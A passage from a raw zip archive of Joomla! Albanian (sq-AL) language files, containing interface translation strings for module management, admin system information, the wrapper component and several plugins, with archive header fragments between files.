published, this module will display on your site frontend or backend depending on the module." COM_MODULES_FIELD_SHOWTITLE_DESC="Show/Hide module title on display. Effect will depend on the chrome style in the template." COM_MODULES_FIELD_SHOWTITLE_LABEL="Trego titullin" COM_MODULES_FIELD_TITLE_DESC="Moduli duhet me pasë titull" COM_MODULES_FIELD_VALUE_NOCACHING="Pa ruejtje" COM_MODULES_FILTER_SEARCH_DESC="Filter by position name." COM_MODULES_HEADING_MODULE="Lloji" COM_MODULES_HEADING_PAGES="Faqet" COM_MODULES_HEADING_POSITION="Vendi" COM_MODULES_HEADING_TEMPLATES="Ftyrat" COM_MODULES_HTML_PUBLISH_DISABLED="Publish module::Extension disabled" COM_MODULES_HTML_PUBLISH_ENABLED="Publish module::Extension enabled" COM_MODULES_HTML_UNPUBLISH_DISABLED="Unpublish module::Extension disabled" COM_MODULES_HTML_UNPUBLISH_ENABLED="Unpublish module::Extension enabled" COM_MODULES_MANAGER_MODULE="Module Manager: Module %s" COM_MODULES_MANAGER_MODULES="Module Manager: Modules" COM_MODULES_MENU_ASSIGNMENT="Caktimi i menusë" COM_MODULES_MODULE_ASSIGN="Module Assignment" COM_MODULES_MODULE_DESCRIPTION="Module Description" COM_MODULES_MODULE_TEMPLATE_POSITION="%1$s (%2$s)" COM_MODULES_MODULES_FILTER_SEARCH_DESC="Search in module title." COM_MODULES_MSG_MANAGE_NO_MODULES="There are no modules installed matching your query" COM_MODULES_N_ITEMS_ARCHIVED="%d modules successfully archived" COM_MODULES_N_ITEMS_ARCHIVED_1="%d module successfully archived" COM_MODULES_N_ITEMS_CHECKED_IN_0="No module successfully checked in" COM_MODULES_N_ITEMS_CHECKED_IN_1="%d module successfully checked in" COM_MODULES_N_ITEMS_CHECKED_IN_MORE="%d modules successfully checked in" COM_MODULES_N_ITEMS_DELETED="%d modules successfully deleted" COM_MODULES_N_ITEMS_DELETED_1="%d module successfully deleted" COM_MODULES_N_ITEMS_PUBLISHED="%d modules successfully published" COM_MODULES_N_ITEMS_PUBLISHED_1="%d module successfully published" COM_MODULES_N_ITEMS_TRASHED="%d modules successfully trashed" COM_MODULES_N_ITEMS_TRASHED_1="%d module successfully trashed" COM_MODULES_N_ITEMS_UNPUBLISHED="%d modules successfully unpublished" COM_MODULES_N_ITEMS_UNPUBLISHED_1="%d module successfully unpublished" COM_MODULES_N_MODULES_DUPLICATED="%d modules successfully duplicated" COM_MODULES_N_MODULES_DUPLICATED_1="%d module successfully duplicated" COM_MODULES_NO_ITEM_SELECTED="No modules selected" COM_MODULES_NODESCRIPTION="No description available" COM_MODULES_OPTION_MENU_ALL="On all pages" COM_MODULES_OPTION_MENU_EXCLUDE="On all pages except those selected" COM_MODULES_OPTION_MENU_INCLUDE="Only on the pages selected" COM_MODULES_OPTION_MENU_NONE="No pages" COM_MODULES_OPTION_ORDER_POSITION="%d. %s" COM_MODULES_OPTION_POSITION_TEMPLATE_DEFINED="Ftyar" COM_MODULES_OPTION_POSITION_USER_DEFINED="Përdoruesi" COM_MODULES_OPTION_SELECT_CLIENT="- Select Type -" COM_MODULES_OPTION_SELECT_MODULE="- Select Type -" COM_MODULES_OPTION_SELECT_POSITION="- Select Position -" COM_MODULES_OPTION_SELECT_TYPE="- Select type -" COM_MODULES_POSITION_ANALYTICS="Analytics" COM_MODULES_POSITION_BANNER="Baneri" COM_MODULES_POSITION_BOTTOM="Poshtë" COM_MODULES_POSITION_BREADCRUMB="Breadcrumb" COM_MODULES_POSITION_BREADCRUMBS="Breadcrumbs" COM_MODULES_POSITION_DEBUG="debug" COM_MODULES_POSITION_FOOTER="Kamca" COM_MODULES_POSITION_HEADER="Header" COM_MODULES_POSITION_LEFT2="Left 2" COM_MODULES_POSITION_LEFT="Majtas" COM_MODULES_POSITION_MAINNAV="Main Navigation" COM_MODULES_POSITION_NAV="Navigation" COM_MODULES_POSITION_OFFLINE="Offline" COM_MODULES_POSITION_POSITION-0="Position 0" COM_MODULES_POSITION_POSITION-10="Position 10" COM_MODULES_POSITION_POSITION-11="Position 11" COM_MODULES_POSITION_POSITION-12="Position 12" COM_MODULES_POSITION_POSITION-13="Position 13" COM_MODULES_POSITION_POSITION-14="Position 14" COM_MODULES_POSITION_POSITION-15="Position 15" COM_MODULES_POSITION_POSITION-1="Position 1" COM_MODULES_POSITION_POSITION-2="Position 2" COM_MODULES_POSITION_POSITION-3="Position 3" COM_MODULES_POSITION_POSITION-4="Position 4" COM_MODULES_POSITION_POSITION-5="Position 5" COM_MODULES_POSITION_POSITION-6="Position 6" COM_MODULES_POSITION_POSITION-7="Position 7" COM_MODULES_POSITION_POSITION-8="Position 8" COM_MODULES_POSITION_POSITION-9="Position 9" COM_MODULES_POSITION_RIGHT2="Right 2" COM_MODULES_POSITION_RIGHT="Djathtas" COM_MODULES_POSITION_SUB1="Sub 1" COM_MODULES_POSITION_SUB2="Sub 2" COM_MODULES_POSITION_SUB3="Sub 3" COM_MODULES_POSITION_SUB4="Sub 4" COM_MODULES_POSITION_SUB5="Sub 5" COM_MODULES_POSITION_SUB6="Sub 6" COM_MODULES_POSITION_SUB="Sub" COM_MODULES_POSITION_SUBNAV="Sub Navigation" COM_MODULES_POSITION_SYNDICATE="Sindikata" COM_MODULES_POSITION_TOP2="Top 2" COM_MODULES_POSITION_TOP3="Top 3" COM_MODULES_POSITION_TOP4="Top 4" COM_MODULES_POSITION_TOP="Maje" COM_MODULES_POSITION_USER1="User 1" COM_MODULES_POSITION_USER2="User 2" COM_MODULES_POSITION_USER3="User 3" COM_MODULES_POSITION_USER4="User 4" COM_MODULES_POSITION_USER5="User 5" COM_MODULES_POSITION_USER6="User 6" COM_MODULES_POSITION_USER7="User 7" COM_MODULES_POSITION_USER8="User 8" COM_MODULES_SAVE_SUCCESS="Module successfully saved" COM_MODULES_TYPE_CHOOSE="Select a Module Type:" COM_MODULES_XML_DESCRIPTION="Component for module management in backend" JLIB_RULES_SETTING_NOTES="1. If you change the setting, it will apply to this component. Note that:
      Inherited means that the permissions from global configuration and parent group will be used.
      Denied means that no matter what the global configuration or parent group settings are, the group being edited cannot take this action on this component.
      Allowed means that the group being edited will be able to take this action for this component (but if this is in conflict with the global configuration or parent group it will have no impact; a conflict will be indicated by Not Allowed (Locked) under Calculated Settings).
      2. If you select a new setting, click Save to refresh the calculated settings." PK@y>\32language/sq-AL/sq-AL.plg_editors-xtd_pagebreak.ininuW+A; Joomla1 sq-AL ; Joomla! Project ; Copyright (C) 2005 - 2012 Open Source Matters. All rights reserved. ; License GNU General Public License version 2 or later; see LICENSE.txt, see LICENSE.php ; Note : All ini files need to be saved as UTF-8 PLG_EDITORS-XTD_PAGEBREAK="Buton - Faqe e re" PLG_EDITORSXTD_PAGEBREAK_BUTTON_PAGEBREAK="Faqe e re" PLG_EDITORSXTD_PAGEBREAK_XML_DESCRIPTION="Krijon nji buton me ba që me futë pagebreak në nji artikull. Nji dritare e vogël ta mundëson me përcaktue t'dhanat që duhen përdorë." PK@y>\ 35language/sq-AL/sq-AL.plg_editors-xtd_readmore.sys.ininuW+A; Joomla1 sq-AL ; Joomla! Project ; Copyright (C) 2005 - 2012 Open Source Matters. All rights reserved. ; License GNU General Public License version 2 or later; see LICENSE.txt, see LICENSE.php ; Note : All ini files need to be saved as UTF-8 PLG_EDITORS-XTD_READMORE="Buton - Lexo ma" PLG_READMORE_XML_DESCRIPTION="Aktivizon nji buton që ta mundëson me futë lehtësisht nyjen Lexo ma... në nji artikull." PK@y>\a &% % $language/sq-AL/sq-AL.mod_popular.ininuW+A; Joomla1 sq-AL ; Joomla! Project ; Copyright (C) 2005 - 2012 Open Source Matters. All rights reserved. ; License GNU General Public License version 2 or later; see LICENSE.txt, see LICENSE.php ; Note : All ini files need to be saved as UTF-8 MOD_POPULAR="Artikuj popullorë" MOD_POPULAR_CREATED="Krijue" MOD_POPULAR_FIELD_AUTHORS_DESC="Filtër për autorët" MOD_POPULAR_FIELD_AUTHORS_LABEL="Autorët" MOD_POPULAR_FIELD_CATEGORY_DESC="Select Articles from a specific Category or set of Categories." MOD_POPULAR_FIELD_COUNT_DESC="The number of items to display (default 5)" MOD_POPULAR_FIELD_COUNT_LABEL="Count" MOD_POPULAR_FIELD_VALUE_ADDED_OR_MODIFIED_BY_ME="Shtue a ndryshue prej meje" MOD_POPULAR_FIELD_VALUE_ANYONE="Gjithkush" MOD_POPULAR_FIELD_VALUE_NOT_ADDED_OR_MODIFIED_BY_ME="Jo i shtuem a ndryshuem prej meje" MOD_POPULAR_ITEMS="Popular Items" MOD_POPULAR_NO_MATCHING_RESULTS="S'ka rezultate" MOD_POPULAR_TITLE="Artikuj popullorë" MOD_POPULAR_TITLE_1="Top Popular Article" MOD_POPULAR_TITLE_MORE="Top %1$s Popular Articles" MOD_POPULAR_TITLE_BY_ME="Top Popular Articles By Me" MOD_POPULAR_TITLE_BY_ME_1="Top Popular Article By Me" MOD_POPULAR_TITLE_BY_ME_MORE="Top %1$s Popular Articles By Me" MOD_POPULAR_TITLE_NOT_ME="Top Popular Articles Not By Me" MOD_POPULAR_TITLE_NOT_ME_1="Top Popular Article Not By Me" MOD_POPULAR_TITLE_NOT_ME_MORE="Top %1$s Popular Articles Not By Me" MOD_POPULAR_TITLE_CATEGORY="Top Popular Articles (%2$s category)" MOD_POPULAR_TITLE_CATEGORY_1="Top Popular Article (%2$s category)" MOD_POPULAR_TITLE_CATEGORY_MORE="Top %1$s Popular Articles (%2$s category)" MOD_POPULAR_TITLE_CATEGORY_BY_ME="Top Popular Articles By Me (%2$s category)" MOD_POPULAR_TITLE_CATEGORY_BY_ME_1="Top Popular Article By Me (%2$s category)" MOD_POPULAR_TITLE_CATEGORY_BY_ME_MORE="Top %1$s Popular Articles By Me (%2$s category)" MOD_POPULAR_TITLE_CATEGORY_NOT_ME="Top Popular Articles Not By Me (%2$s category)" MOD_POPULAR_TITLE_CATEGORY_NOT_ME_1="Top Popular Article Not By Me (%2$s category)" MOD_POPULAR_TITLE_CATEGORY_NOT_ME_MORE="Top %1$s Popular Articles Not By Me (%2$s category)" MOD_POPULAR_UNEXISTING="Unexisting" MOD_POPULAR_XML_DESCRIPTION="This Module shows a list of the most popular published Articles that are still current. Some that are shown may have expired even though they are the most recent." PK@y>\w2language/sq-AL/sq-AL.plg_captcha_recaptcha.sys.ininuW+A; Joomla1 sq-AL ; Joomla! Project ; Copyright (C) 2005 - 2012 Open Source Matters. All rights reserved. ; License GNU General Public License version 2 or later; see LICENSE.txt, see LICENSE.php ; Note : All ini files need to be saved as UTF-8 PLG_CAPTCHA_RECAPTCHA_XML_DESCRIPTION="Ky plugin CAPTCHA përdor shërbimin reCAPTCHA me pengue spamuesit ndërkohë që ndihmon me dixhitalizue libra, gazeta dhe emisione të vjetra radioje. Me marrë nji çelës publik dhe privat për faqen tande, shko tek http://google.com/recaptcha. Me e përdorë këte për regjistrim llogarie të re, shko tek Opsionet në Menaxherin e Përdoruesve dhe zgjidh Captcha – reCaptcha si Captcha." PLG_CAPTCHA_RECAPTCHA="Captcha - ReCaptcha" PK@y>\qE88$language/sq-AL/sq-AL.com_wrapper.ininuW+A; Joomla1 sq-AL ; Joomla! Project ; Copyright (C) 2005 - 2012 Open Source Matters. All rights reserved. ; License GNU General Public License version 2 or later; see LICENSE.txt, see LICENSE.php ; Note : All ini files need to be saved as UTF-8 COM_WRAPPER="Mbshtjellësi" COM_WRAPPER_FIELD_ADD_DESC="Normalisht http:// ka m'u shtue nëmos zbulon http:// ose https:// te nyja që jep, kjo ta mundëson me e fikë këte opsion" COM_WRAPPER_FIELD_ADD_LABEL="Shto auto" COM_WRAPPER_FIELD_HEIGHT_DESC="Height of the IFrame window in pixels" COM_WRAPPER_FIELD_HEIGHT_LABEL="Naltësia" COM_WRAPPER_FIELD_HEIGHTAUTO_DESC="If height is set to auto, the height will automatically be set to the size of the external page. This will only work for pages on your own domain. If you see a JavaScript error, make sure this parameter is disabled. This will break XHTML compatibility for this page." COM_WRAPPER_FIELD_HEIGHTAUTO_LABEL="Naltësi auto" COM_WRAPPER_FIELD_LABEL_SCROLLBARSPARAMS="Scroll bars parameters" COM_WRAPPER_FIELD_SCROLLBARS_DESC="Show/Hide the horizontal & vertical scrollbars. If you choose 'Auto', make sure the Auto advanced parameter is set." COM_WRAPPER_FIELD_SCROLLBARS_LABEL="Scroll Bars" COM_WRAPPER_FIELD_URL_DESC="URL to site/file you wish to display within the iframe." COM_WRAPPER_FIELD_Nyja_LABEL="Nyja" COM_WRAPPER_FIELD_VALUE_AUTO="Auto" COM_WRAPPER_FIELD_WIDTH_DESC="Width of the iframe window. You may enter an absolute figure in pixels or a relative figure by adding a %." COM_WRAPPER_XML_DESCRIPTION="Tregon nji IFrame që mbshtjell nji faqe t'jashtme në Joomla!" PK@y>\eSҜ.language/sq-AL/sq-AL.plg_content_geshi.sys.ininuW+A; Joomla1 sq-AL ; Joomla! Project ; Copyright (C) 2005 - 2012 Open Source Matters. All rights reserved. ; License GNU General Public License version 2 or later; see LICENSE.txt, see LICENSE.php ; Note : All ini files need to be saved as UTF-8 PLG_CONTENT_GESHI="Content - Code Highlighter (GeSHi)" PLG_CONTENT_GESHI_XML_DESCRIPTION="Nxjerr kodin e formatuem n'artikuj mbështetë në motorin e zdritimit GeSHi" PK@y>\/WRR0language/sq-AL/sq-AL.plg_system_remember.sys.ininuW+A; Joomla1 sq-AL ; @package Joomla ; @subpackage plgSystemRedirect ; @copyright Copyright (C) 2005 - 2012 Open Source Matters, Inc. All rights reserved. ; @license GNU General Public License version 2 or later; see LICENSE.txt PLG_REMEMBER_XML_DESCRIPTION="Provides remember me functionality" PLG_SYSTEM_REMEMBER="System - Remember Me" PK@y>\KY  3language/sq-AL/sq-AL.plg_content_loadmodule.sys.ininuW+A; Joomla1 sq-AL ; Joomla! Project ; Copyright (C) 2005 - 2012 Open Source Matters. All rights reserved. ; License GNU General Public License version 2 or later; see LICENSE.txt, see LICENSE.php ; Note : All ini files need to be saved as UTF-8 PLG_CONTENT_LOADMODULE="Content - Load Modules" PLG_LOADMODULE_XML_DESCRIPTION="Within content loads Module positions, Syntax: {loadposition user1} or Modules by name, Syntax: {loadmodule mod_login}. Optionally can specify module style and for loadmodule a specific module title."PK@y>\qq-language/sq-AL/sq-AL.plg_system_highlight.ininuW+A; Joomla1 sq-AL ; Joomla! Project ; Copyright (C) 2005 - 2012 Open Source Matters. All rights reserved. ; License GNU General Public License version 2 or later; see LICENSE.txt, see LICENSE.php ; Note : All ini files need to be saved as UTF-8 PLG_SYSTEM_HIGHLIGHT="System - Highlight" PLG_SYSTEM_HIGHLIGHT_XML_DESCRIPTION="System plugin to highlight specified terms." PK@y>\>v;XX"language/sq-AL/sq-AL.mod_title.ininuW+A; Joomla1 sq-AL ; Joomla! Project ; Copyright (C) 2005 - 2012 Open Source Matters. All rights reserved. ; License GNU General Public License version 2 or later; see LICENSE.txt, see LICENSE.php ; Note : All ini files need to be saved as UTF-8 MOD_TITLE="Titulli" MOD_TITLE_XML_DESCRIPTION="Ky modul tregon titullin e komponentit të shiritit" PK@y>\ԇ&&"language/sq-AL/sq-AL.com_admin.ininuW+A; Joomla1 sq-AL ; Joomla! Project ; Copyright (C) 2005 - 2012 Open Source Matters. All rights reserved. ; License GNU General Public License version 2 or later; see LICENSE.txt, see LICENSE.php ; Note : All ini files need to be saved as UTF-8 COM_ADMIN="Admin - Info sistemi" COM_ADMIN_ALPHABETICAL_INDEX="Rend alfabetik" COM_ADMIN_CACHE_DIRECTORY="(Direktoria e keshit)" COM_ADMIN_CLEAR_RESULTS="Pastroji rezultatet" COM_ADMIN_CONFIGURATION_FILE="Dokumenti i konfigurimit" COM_ADMIN_DATABASE_COLLATION="Bashkimi i databazës" COM_ADMIN_DATABASE_VERSION="Versioni i databazës" COM_ADMIN_DIRECTORY="Direktoria" COM_ADMIN_DIRECTORY_PERMISSIONS="Lejet e direktorisë" COM_ADMIN_DISABLED_FUNCTIONS="Funksionet e çaktivizueme" COM_ADMIN_DISPLAY_ERRORS="Trego gabimet" COM_ADMIN_FILE_UPLOADS="Ngarkimet e dokumentave" COM_ADMIN_GLOSSARY="Fjalës" COM_ADMIN_GO="Shko" COM_ADMIN_HELP="Ndihma Joomla!" COM_ADMIN_HELP_COMPONENTS_BANNERS_BANNERS="Menaxheri i banerave: Banerat" COM_ADMIN_HELP_COMPONENTS_BANNERS_BANNERS_EDIT="Menaxheri i banerave: Banerat - I ri/Ndrysho" COM_ADMIN_HELP_COMPONENTS_BANNERS_CATEGORIES="Menaxheri i banerave: Kategoritë" COM_ADMIN_HELP_COMPONENTS_BANNERS_CATEGORIES_EDIT="Menaxheri i banerave: Kategoritë - I ri/Ndrysho" COM_ADMIN_HELP_COMPONENTS_BANNERS_CLIENTS="Menaxheri i banerave: Klientët" COM_ADMIN_HELP_COMPONENTS_BANNERS_CLIENTS_EDIT="Menaxheri i banerave: Klientët - I ri/Ndrysho" COM_ADMIN_HELP_COMPONENTS_BANNERS_TRACKS="Menaxheri i banerave: Gjurmët" COM_ADMIN_HELP_COMPONENTS_CONTACTS_CONTACTS="Menaxheri i kontakteve: Kontaktet" COM_ADMIN_HELP_COMPONENTS_CONTACTS_CONTACTS_EDIT="Menaxheri i kontakteve: Kontaktet - I ri/Ndrysho" COM_ADMIN_HELP_COMPONENTS_CONTACT_CATEGORIES="Menaxheri i kontakteve: Kategoritë" COM_ADMIN_HELP_COMPONENTS_CONTACT_CATEGORIES_EDIT="Menaxheri i kontakteve: Kategoritë - I ri/Ndrysho" COM_ADMIN_HELP_COMPONENTS_CONTENT_CATEGORIES="Menaxheri i artikujve: Kategoritë" COM_ADMIN_HELP_COMPONENTS_CONTENT_CATEGORIES_EDIT="Menaxheri i artikujve: Kategoritë - I ri/Ndrysho" COM_ADMIN_HELP_COMPONENTS_MESSAGING_INBOX="Mesazhe private: Inboks" COM_ADMIN_HELP_COMPONENTS_MESSAGING_READ="Mesazhe private: Lexo" COM_ADMIN_HELP_COMPONENTS_MESSAGING_WRITE="Mesazhe private: Shkruej" COM_ADMIN_HELP_COMPONENTS_NEWSFEEDS_CATEGORIES="Menaxheri i lajmeve feed: Kategoritë" COM_ADMIN_HELP_COMPONENTS_NEWSFEEDS_CATEGORIES_EDIT="Menaxheri i lajmeve feed: Kategoritë - I ri/Ndrysho" COM_ADMIN_HELP_COMPONENTS_NEWSFEEDS_FEEDS="Menaxheri i lajmeve feed: Lajmet feed" COM_ADMIN_HELP_COMPONENTS_NEWSFEEDS_FEEDS_EDIT="Menaxheri i lajmeve feed: Lajmet feed - I ri/Ndrysho" COM_ADMIN_HELP_COMPONENTS_REDIRECT_MANAGER="Menaxheri i ridirektimit: Nyjet" COM_ADMIN_HELP_COMPONENTS_REDIRECT_MANAGER_EDIT="Menaxheri i ridirektimit: Nyjet - I ri/Ndrysho" COM_ADMIN_HELP_COMPONENTS_SEARCH="Menaxheri i kërkimit" COM_ADMIN_HELP_COMPONENTS_WEBLINKS_CATEGORIES="Menaxheri i nyjeve: Kategoritë" COM_ADMIN_HELP_COMPONENTS_WEBLINKS_CATEGORIES_EDIT="Menaxheri i nyjeve: Kategoritë - I ri/Ndrysho" COM_ADMIN_HELP_COMPONENTS_WEBLINKS_LINKS="Menaxheri i nyjeve: Nyjet" COM_ADMIN_HELP_COMPONENTS_WEBLINKS_LINKS_EDIT="Menaxheri i nyjeve: Nyjet - I ri/Ndrysho" COM_ADMIN_HELP_CONTENT_ARTICLE_MANAGER="Menaxheri i artikujve: Artikujt" COM_ADMIN_HELP_CONTENT_ARTICLE_MANAGER_EDIT="Menaxheri i artikujve: Artikujt - I ri/Ndrysho" COM_ADMIN_HELP_CONTENT_FEATURED_ARTICLES="Menaxheri i artikujve: Artikujt e përzgjedhun" COM_ADMIN_HELP_CONTENT_MEDIA_MANAGER="Media" COM_ADMIN_HELP_EXTENSIONS_EXTENSION_MANAGER_DISCOVER="Menaxheri i zgjatimeve: Zbulo" COM_ADMIN_HELP_EXTENSIONS_EXTENSION_MANAGER_INSTALL="Menaxheri i zgjatimeve: Install" COM_ADMIN_HELP_EXTENSIONS_EXTENSION_MANAGER_MANAGE="Menaxheri i zgjatimeve: Menaxho" COM_ADMIN_HELP_EXTENSIONS_EXTENSION_MANAGER_UPDATE="Menaxheri i zgjatimeve: Përditëso" COM_ADMIN_HELP_EXTENSIONS_EXTENSION_MANAGER_WARNINGS="Menaxheri i zgjatimeve: Njoftime" COM_ADMIN_HELP_EXTENSIONS_LANGUAGE_MANAGER_CONTENT="Menaxheri i gjuhëve: Gjuhët e përmbajtjes" COM_ADMIN_HELP_EXTENSIONS_LANGUAGE_MANAGER_EDIT="Menaxheri i gjuhëve - I ri/Ndrysho" COM_ADMIN_HELP_EXTENSIONS_LANGUAGE_MANAGER_INSTALLED="Menaxheri i gjuhëve: Gjuhët e instalueme" COM_ADMIN_HELP_EXTENSIONS_MODULE_MANAGER="Modulet" COM_ADMIN_HELP_EXTENSIONS_MODULE_MANAGER_EDIT="Menaxheri i moduleve - Ndrysho" COM_ADMIN_HELP_EXTENSIONS_PLUGIN_MANAGER="Menaxheri i pluginave: Pluginat" COM_ADMIN_HELP_EXTENSIONS_PLUGIN_MANAGER_EDIT="Menaxheri i pluginave: Pluginat - I ri/Ndrysho" COM_ADMIN_HELP_EXTENSIONS_TEMPLATE_MANAGER_STYLES="Menaxheri i ftyrave: Stilet" COM_ADMIN_HELP_EXTENSIONS_TEMPLATE_MANAGER_STYLES_EDIT="Menaxheri i ftyrave: Stilet - Ndrysho" COM_ADMIN_HELP_EXTENSIONS_TEMPLATE_MANAGER_TEMPLATES="Menaxheri i ftyrave: Ftyrat" COM_ADMIN_HELP_EXTENSIONS_TEMPLATE_MANAGER_TEMPLATES_EDIT="Menaxheri i ftyrave: Ftyrat - Edit" COM_ADMIN_HELP_EXTENSIONS_TEMPLATE_MANAGER_TEMPLATES_EDIT_SOURCE="Menaxheri i ftyrave: Burimi - Ndrysho" COM_ADMIN_HELP_GLOSSARY="Fjalës" COM_ADMIN_HELP_MENUS_MENU_ITEM_MANAGER="Menaxheri i sendeve të menysë" COM_ADMIN_HELP_MENUS_MENU_ITEM_MANAGER_EDIT="Menaxheri i sendeve të menysë - I ri/Ndrysho" COM_ADMIN_HELP_MENUS_MENU_MANAGER="Menyja" COM_ADMIN_HELP_MENUS_MENU_MANAGER_EDIT="Menaxheri i menysë - I ri/Ndrysho" COM_ADMIN_HELP_SITE_GLOBAL_CONFIGURATION="Konfigurimi" COM_ADMIN_HELP_SITE_MAINTENANCE_CLEAR_CACHE="Menaxheri i keshit: Pastro keshin" COM_ADMIN_HELP_SITE_MAINTENANCE_GLOBAL_CHECK-IN="Miratimi i përgjithshëm" COM_ADMIN_HELP_SITE_MAINTENANCE_PURGE_EXPIRED_CACHE="Menaxheri i keshit: pastro keshin e skaduem" COM_ADMIN_HELP_SITE_SYSTEM_INFORMATION="Informacion sistemi" COM_ADMIN_HELP_START_HERE="Nisja këtu" COM_ADMIN_HELP_USERS_ACCESS_LEVELS="Menaxheri i përdoruesve: Nivelet e hymjes" COM_ADMIN_HELP_USERS_ACCESS_LEVELS_EDIT="Menaxheri i përdoruesve: Nivelet e hymjes - I ri/Ndrysho" COM_ADMIN_HELP_USERS_DEBUG_USER="Menaxheri i përdoruesve: Ndrysho lejet e përdoruesve" COM_ADMIN_HELP_USERS_GROUPS="Menaxheri i përdoruesve: Grupet" COM_ADMIN_HELP_USERS_GROUPS_EDIT="Menaxheri i përdoruesve: Grupet - I ri/Ndrysho" COM_ADMIN_HELP_USERS_MASS_MAIL_USERS="Email masiv përdoruesve" COM_ADMIN_HELP_USERS_USER_MANAGER="User Manager: Përdoruesit" COM_ADMIN_HELP_USERS_USER_MANAGER_EDIT="Menaxheri i përdoruesve: Users - I ri/Ndrysho" COM_ADMIN_ICONV_AVAILABLE="Iconv" COM_ADMIN_INFORMATION="Informacion sistemi" COM_ADMIN_JOOMLA_VERSION="Versioni Joomla!" COM_ADMIN_LATEST_VERSION_CHECK="Kontrollo për versionin e fundit" COM_ADMIN_LICENSE="Licenca" COM_ADMIN_LOG_DIRECTORY="(Direktoria e logut)" COM_ADMIN_MAGIC_QUOTES="Kuotat magjike" COM_ADMIN_MBSTRING_ENABLED="Mbstring t'aktivizueme" COM_ADMIN_NA="n/a" COM_ADMIN_OPEN_BASEDIR="Basedir e hapun" COM_ADMIN_OUTPUT_BUFFERING="output buffering" COM_ADMIN_PHP_BUILT_ON="PHP bashkangjitë" COM_ADMIN_PHP_INFORMATION="Informacion PHP" COM_ADMIN_PHP_SETTINGS="T'dhanat PHP" COM_ADMIN_PHP_VERSION="Versioni PHP" COM_ADMIN_PLATFORM_VERSION="Joomla! Platform Version" COM_ADMIN_REGISTER_GLOBALS="register globals" COM_ADMIN_RELEVANT_PHP_SETTINGS="T'dhanat e duhuna PHP" COM_ADMIN_SAFE_MODE="Mënyra e sigurt" COM_ADMIN_SEARCH="Kërko" COM_ADMIN_SESSION_AUTO_START="Auto-nisje sesioni" COM_ADMIN_SESSION_SAVE_PATH="Rruga e ruejtjes e sesionit" COM_ADMIN_SETTING="T'dhanat" COM_ADMIN_SHORT_OPEN_TAGS="Tags të shkurta t'hapuna" COM_ADMIN_START_HERE="Nisja këtu" COM_ADMIN_STATUS="Statusi" COM_ADMIN_SYSTEM_INFO="Info sistemi" COM_ADMIN_SYSTEM_INFORMATION="Informacion sistemi" COM_ADMIN_TEMP_DIRECTORY="(Direktoria temp)" COM_ADMIN_UNWRITABLE="E pashkrueshme" COM_ADMIN_USER_ACCOUNT_DETAILS="Hollësinat e profilit" COM_ADMIN_USER_AGENT="Agjenti përdorues" COM_ADMIN_USER_FIELD_BACKEND_LANGUAGE_DESC="Zgjidh gjuhën për ndërfaqen administrative të mbrapavijës. Kjo ka me ndikue vetëm te ky përdorues." COM_ADMIN_USER_FIELD_BACKEND_LANGUAGE_LABEL="Gjuha e mbrapavijës" COM_ADMIN_USER_FIELD_BACKEND_TEMPLATE_DESC="Zgjidh stilin e ftyrës për ndërfaqen administrative të mbrapavijës. Kjo ka me ndikue vetëm te ky përdorues." COM_ADMIN_USER_FIELD_BACKEND_TEMPLATE_LABEL="Stili i ftyrës së mbrapavijës" COM_ADMIN_USER_FIELD_EDITOR_DESC="Editori i përdoruesit" COM_ADMIN_USER_FIELD_EDITOR_LABEL="Editori" COM_ADMIN_USER_FIELD_EMAIL_DESC="Fut nji email për përdoruesin" COM_ADMIN_USER_FIELD_FRONTEND_LANGUAGE_DESC="Zgjidh nji gjuhë për ndërfaqen e ballinës. Kjo ka me ndikue vetëm te ky përdorues." COM_ADMIN_USER_FIELD_FRONTEND_LANGUAGE_LABEL="Gjuha e ballinës" COM_ADMIN_USER_FIELD_HELPSITE_DESC="Faqja e ndihmës për këte përdorues" COM_ADMIN_USER_FIELD_HELPSITE_LABEL="Faqja e ndihmës" COM_ADMIN_USER_FIELD_LASTVISIT_DESC="Data e vizitës së fundit" COM_ADMIN_USER_FIELD_LASTVISIT_LABEL="Data e vizitës së fundit" COM_ADMIN_USER_FIELD_NAME_DESC="Fut emnin e përdoruesit" COM_ADMIN_USER_FIELD_PASSWORD2_DESC="Konfirmo fjalkalimin e përdoruesit" COM_ADMIN_USER_FIELD_PASSWORD2_LABEL="Konfirmo fjalkalimin" COM_ADMIN_USER_FIELD_PASSWORD_DESC="Fut fjalkalimin për përdoruesin" COM_ADMIN_USER_FIELD_REGISTERDATE_DESC="Data e regjistrimit" COM_ADMIN_USER_FIELD_REGISTERDATE_LABEL="Data e regjistrimit" COM_ADMIN_USER_FIELD_TIMEZONE_DESC="Zona orare për këte përdorues" COM_ADMIN_USER_FIELD_TIMEZONE_LABEL="Zona orare" COM_ADMIN_USER_FIELD_USERNAME_DESC="Fut emnin e hymjes (pseudonimin) e përdoruesit." COM_ADMIN_USER_FIELD_USERNAME_LABEL="Emni i hymjes" COM_ADMIN_USER_HEADING_NAME="Emni" COM_ADMIN_USER_SETTINGS_FIELDSET_LABEL="T'dhanat themelore" COM_ADMIN_VALUE="Vlera" COM_ADMIN_VIEW="Pamja" COM_ADMIN_VIEW_PROFILE_TITLE="Profili im" COM_ADMIN_WEBSERVER_TO_PHP_INTERFACE="Ndërfaqja WebServer në PHP" COM_ADMIN_WEB_SERVER="Serveri" COM_ADMIN_WRITABLE="Shkruhet" COM_ADMIN_XML_DESCRIPTION="Komponenti i administrimit t'informacionit të sistemit" COM_ADMIN_XML_ENABLED="XML ndezë" COM_ADMIN_ZIP_ENABLED="ZIP-i vendas aktivizue" COM_ADMIN_ZLIB_ENABLED="Zlib fikë" PK@y>\x#language/sq-AL/sq-AL.mod_custom.ininuW+A; Joomla1 sq-AL ; Joomla! Project ; Copyright (C) 2005 - 2012 Open Source Matters. All rights reserved. ; License GNU General Public License version 2 or later; see LICENSE.txt, see LICENSE.php ; Note : All ini files need to be saved as UTF-8 MOD_CUSTOM="HTML ekstra" MOD_CUSTOM_FIELD_PREPARE_CONTENT_DESC="Optionally prepare the content with the Joomla Content Plug-ins." MOD_CUSTOM_FIELD_PREPARE_CONTENT_LABEL="Prepare Content" MOD_CUSTOM_XML_DESCRIPTION="This Module allows you to create your own HTML Module using a WYSIWYG editor."PK@y>\,m6language/sq-AL/sq-AL.plg_editors-xtd_pagebreak.sys.ininuW+A; Joomla1 sq-AL ; Joomla! Project ; Copyright (C) 2005 - 2012 Open Source Matters. All rights reserved. ; License GNU General Public License version 2 or later; see LICENSE.txt, see LICENSE.php ; Note : All ini files need to be saved as UTF-8 PLG_EDITORS-XTD_PAGEBREAK="Buton - Faqe e re" PLG_EDITORSXTD_PAGEBREAK_XML_DESCRIPTION="Krijon nji buton me ba që me futë pagebreak në nji 